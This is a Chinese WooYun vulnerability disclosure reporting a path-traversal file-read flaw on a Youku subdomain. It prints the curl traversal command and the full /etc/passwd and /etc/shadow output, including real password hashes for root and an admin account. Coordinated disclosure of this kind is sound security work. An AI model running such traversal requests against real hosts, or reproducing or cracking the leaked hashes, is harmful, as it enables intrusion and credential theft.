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缺陷编号:wooyun-2015-092085

漏洞标题:优酷某站配置不当导致任意文件读取(root密码哈希泄漏)

相关厂商:优酷

漏洞作者: boooooom

提交时间:2015-01-15 18:19

修复时间:2015-03-01 18:20

公开时间:2015-03-01 18:20

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-16: 厂商已经确认,细节仅向厂商公开
2015-01-26: 细节向核心白帽子及相关领域专家公开
2015-02-05: 细节向普通白帽子公开
2015-02-15: 细节向实习白帽子公开
2015-03-01: 细节向公众公开

简要描述:

RT

详细说明:

[root@localhost ~]# curl http://c.miaozhen.atm.youku.com/../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:156:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
redis:x:101:157:Redis Server:/var/lib/redis:/sbin/nologin
lighttpd:x:102:158:lighttpd web server:/var/www/lighttpd:/sbin/nologin
youkuadmin:x:500:500::/home/youkuadmin:/bin/bash

漏洞证明:

[root@localhost ~]# curl http://c.miaozhen.atm.youku.com/../../../../../../../../../../../../../etc/shadow
root:$1$whscGapK$AKLLOuUAfL3uEO5w7Krju0:16380:0:99999:7:::
bin:*:16214:0:99999:7:::
daemon:*:16214:0:99999:7:::
adm:*:16214:0:99999:7:::
lp:*:16214:0:99999:7:::
sync:*:16214:0:99999:7:::
shutdown:*:16214:0:99999:7:::
halt:*:16214:0:99999:7:::
mail:*:16214:0:99999:7:::
news:*:16214:0:99999:7:::
uucp:*:16214:0:99999:7:::
operator:*:16214:0:99999:7:::
games:*:16214:0:99999:7:::
gopher:*:16214:0:99999:7:::
ftp:*:16214:0:99999:7:::
nobody:*:16214:0:99999:7:::
nscd:!!:16214:0:99999:7:::
distcache:!!:16214:0:99999:7:::
vcsa:!!:16214:0:99999:7:::
pcap:!!:16214:0:99999:7:::
ntp:!!:16214:0:99999:7:::
dbus:!!:16214:0:99999:7:::
apache:!!:16214:0:99999:7:::
avahi:!!:16214:0:99999:7:::
rpc:!!:16214:0:99999:7:::
mailnull:!!:16214:0:99999:7:::
smmsp:!!:16214:0:99999:7:::
named:!!:16214:0:99999:7:::
oprofile:!!:16214:0:99999:7:::
sshd:!!:16214:0:99999:7:::
webalizer:!!:16214:0:99999:7:::
squid:!!:16214:0:99999:7:::
rpcuser:!!:16214:0:99999:7:::
nfsnobody:!!:16214:0:99999:7:::
xfs:!!:16214:0:99999:7:::
haldaemon:!!:16214:0:99999:7:::
avahi-autoipd:!!:16214:0:99999:7:::
mysql:!!:16255::::::
redis:!!:16258::::::
lighttpd:!!:16258::::::
youkuadmin:$1$4TRDGhbU$OIW5X7j.2E2UNlWkNmR/s/:16380:1:99999:7:::

修复方案:

修改配置

版权声明:转载请注明来源 boooooom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-16 04:05

厂商回复:

多谢提醒

最新状态:

暂无